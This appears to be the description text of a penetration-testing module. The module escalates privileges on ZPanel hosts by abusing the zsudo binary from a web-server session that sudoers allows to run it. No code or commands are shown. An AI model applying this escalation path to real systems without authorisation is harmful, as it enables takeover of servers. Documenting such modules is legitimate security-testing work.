|
|
This module abuses the zsudo binary, installed with zpanel, to escalate
|
|
privileges. In order to work, a session with access to zsudo on the sudoers
|
|
configuration is needed. This module is useful for post exploitation of ZPanel
|
|
vulnerabilities, where typically web server privileges are acquired, and this
|
|
user is allowed to execute zsudo on the sudoers file.
